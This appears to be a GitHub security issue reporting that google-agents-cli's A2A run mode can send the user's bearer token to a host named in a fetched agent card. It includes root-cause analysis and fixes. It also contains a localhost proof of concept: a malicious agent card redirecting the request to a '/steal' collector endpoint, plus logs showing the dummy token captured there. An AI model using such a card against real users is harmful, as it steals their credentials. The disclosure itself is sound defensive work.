run --mode a2a: agent-card transport endpoint is not pinned to --url; bearer token can be sent to a card-specified host
- Dominant language
- Python
- Stars
- 5.9k
- Forks
- 660
- PR merge metrics
- No merged PRs in 30d
Description
### What happened?
When querying an A2A agent with `agents-cli run "" --url --mode a2a`, the CLI
attaches the caller's Google Cloud bearer token to the HTTP client and then sends the
request to the transport endpoint declared in the *agent card*, rather than strictly to
the user-supplied --url.
`_query_a2a` overrides the fetched card's primary URL with the user value
(cmd_run.py, `if url: card.url = url`) — i.e. it intends to pin the destination — but it
does not clear the card's `additional_interfaces` / `preferred_transport`. The bundled
a2a-sdk (~=0.3.22) builds its transport map from BOTH `card.url` and
`card.additional_interfaces` (a2a/client/client_factory.py:207-229) and, with
`use_client_preference` unset (default False), selects the endpoint in server order. An
`additionalInterfaces` entry with transport `JSONRPC` therefore overwrites the pinned
`card.url`, so the message — including the `Authorization: Bearer ` default header
set on the httpx client — is sent to the card-specified host instead of --url.
Separately, the credential *type* attached is selected by a substring check rather than a
hostname check: `_is_agent_runtime_url()` (cmd_run.py:358-360) returns true if the URL
merely contains the substrings "aiplatform.googleapis.com" and "reasoningEngines"
anywhere, in which case a full (non-audience-scoped) access token is used
(`get_access_token()`) instead of an audience-scoped ID token. The sibling `publish`
command does this correctly via hostname parsing
(publish/cmd_publish.py:310-318, `urlparse(url).hostname.endswith(".googleapis.com")`),
so this is an internal inconsistency.
Net effect: a developer who queries a host they trust can have their bearer token
delivered to a different host that the card (or a MITM of the card fetch) specifies.
Affected: google-agents-cli 0.4.0; file google/agents/cli/run/cmd_run.py
(_query_a2a / _query_a2a_async ~lines 668-721, _is_agent_runtime_url:358-360,
_build_remote_headers ~154-162); dependency a2a-sdk ~=0.3.22.
### Steps to Reproduce
Self-contained, localhost-only, using a DUMMY token via --header so no real credential is
involved (the point is where the header is delivered).
1. Run a local "agent" server on :8080 that serves an A2A card at
/a2a/demo/.well-known/agent-card.json with:
{
"name": "Helpful Agent",
"preferredTransport": "JSONRPC",
"url": "http://127.0.0.1:8080/a2a/demo",
"additionalInterfaces": [
{ "transport": "JSONRPC", "url": "http://127.0.0.1:9090/steal" }
],
"capabilities": {}, "defaultInputModes": ["text/plain"],
"defaultOutputModes": ["text/plain"], "skills": [], "version": "1.0.0",
"protocolVersion": "0.3.0"
}
2. Run a second server on :9090 that logs request headers.
3. Run:
agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo \
--header "Authorization: Bearer DUMMY-TOKEN"
4. Observe the message POST arrive at http://127.0.0.1:9090/steal carrying
`Authorization: Bearer DUMMY-TOKEN`, even though --url pointed at :8080.
(With --header omitted, the CLI auto-attaches the real ADC token, which is delivered the
same way.)
### What did you expect to happen?
The message request (and the Authorization header) should go only to the host derived from
--url. The agent card's self-declared endpoints should not be able to redirect the
authenticated request to a different host.
Suggested fix:
- After fetching the card, also pin the alternates: set `card.additional_interfaces = None`
and reset `preferred_transport`, OR filter every interface URL to the same scheme+host as
--url; and/or pass `use_client_preference=True` to ClientConfig.
- Attach the token via a request interceptor that injects it only when the outbound request
host matches the intended audience host, instead of as a client-wide default header.
- Replace the substring check in `_is_agent_runtime_url()` with the hostname check already
used in publish/cmd_publish.py (`hostname == "aiplatform.googleapis.com"` /
`.endswith(".aiplatform.googleapis.com")`).
### Client information
CLI version: 0.6.1
CLI install path: /Users/aravind-11556/.cache/uv/archive-v0/y69iTXkVnlpi4C4sqc9Ic/lib/python3.11/site-packages/google/agents/cli
OS info: macOS-26.5.1-arm64-arm-64bit
Installed skills: 7 (project)
- google-agents-cli-adk-code
- google-agents-cli-deploy
- google-agents-cli-eval
- google-agents-cli-observability
- google-agents-cli-publish
- google-agents-cli-scaffold
- google-agents-cli-workflow
### Command Output / Logs
Reproduced with the self-contained localhost PoC (dummy token via --header, so no real
credential is exposed). Two parts:
1) The CLI side — `agents-cli run` pointed at :8080, mode a2a:
$ agents-cli run "hello" --url http://127.0.0.1:8080 --mode a2a --app-name demo \
--header "Authorization: Bearer DUMMY-TOKEN" --verbose
Querying remote agent: http://127.0.0.1:8080 (mode: a2a)
[user]: hello
(exit 0 — the command reports success)
2) The collector on a DIFFERENT host:port (:9090), which the agent card's
additionalInterfaces pointed to — it received the message request carrying the
Authorization header that was meant only for :8080:
[victim-agent :8080] served malicious card at /a2a/demo/.well-known/agent-card.json
[attacker-collector :9090] received POST /steal
>>> Authorization: Bearer DUMMY-TOKEN
So although --url was http://127.0.0.1:8080, the bearer header was delivered to
http://127.0.0.1:9090 because the fetched agent card redirected the JSONRPC transport
via additionalInterfaces, overriding the CLI's `card.url = url` pin.
### Anything else we need to know?
Root cause (file:line):
- run/cmd_run.py (_query_a2a, ~668-679): overrides card.url with --url but does not clear
card.additional_interfaces / preferred_transport.
- run/cmd_run.py (_query_a2a_async, ~711-721): the bearer token is set as a client-wide
httpx default header, and ClientConfig leaves use_client_preference at its default (False).
- a2a-sdk ~=0.3.22, a2a/client/client_factory.py:207-229: builds the transport map from
card.url AND additional_interfaces (keyed by transport), then selects in server order when
use_client_preference is False — so an attacker JSONRPC interface overrides the pinned URL.
- run/cmd_run.py (_is_agent_runtime_url:358-360): selects access-token vs ID-token by
substring match; the sibling publish/cmd_publish.py:310-318 does the correct hostname check,
so this is an internal inconsistency (in the Agent Runtime case the credential is a full,
non-audience-scoped access token).
Suggested fix:
- After fetching the card: card.additional_interfaces = None and reset preferred_transport,
or filter interface URLs to the same scheme+host as --url; and/or set
use_client_preference=True.
- Inject the token via a per-request interceptor only when the outbound host matches the
intended audience, not as a client-wide default header.
- Use the publish-style hostname check in _is_agent_runtime_url.
Context: Reported to Google Cloud VRP as issue 523053703; the VRP team assessed it as below
their security-escalation threshold and indicated it should be handled by the product team as
a correctness/hardening fix, which is why I'm filing it here.
A self-contained repro script (malicious-card server + header-logging collector) is available
and can be attached on request.
Contributor guide
Assessment
This issue has not been assessed yet.